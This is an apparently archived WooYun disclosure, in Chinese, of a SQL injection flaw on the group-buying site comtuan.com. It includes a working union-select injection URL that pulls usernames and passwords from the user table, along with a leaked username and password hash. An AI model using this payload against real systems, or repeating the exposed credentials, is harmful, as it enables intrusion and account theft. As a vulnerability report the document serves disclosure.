漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-055218
漏洞标题：网团网主站sql注入漏洞
相关厂商：网团网
漏洞作者： sm0nk
提交时间：2014-04-01 15:14
修复时间：2014-05-16 15:15
公开时间：2014-05-16 15:15
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：6
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-04-01： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-05-16： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
注入漏洞
详细说明：
注入漏洞
漏洞证明：
1.手工注入
2.union select
http://www.comtuan.com/api/call.php?action=query&num=123%27%29/**/union/**/select/**/1,2,3,concat%280x7e,0x27,username,0x7e,0x27,password%29,5,6,7,8,9,10,11,12,13,14,15,16/**/from/**/user/**/limit/**/0,1%23
3.用户名密码
<id>~'yaxis~'99b62530802e986305a24b8d139cec8f</id>
修复方案：
1. 接口URL 处过滤特殊字符
2. 部署安全防护系统，如WAF
科普参考
http://www.2cto.com/Article/201212/178990.html
版权声明：转载请注明来源 sm0nk@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝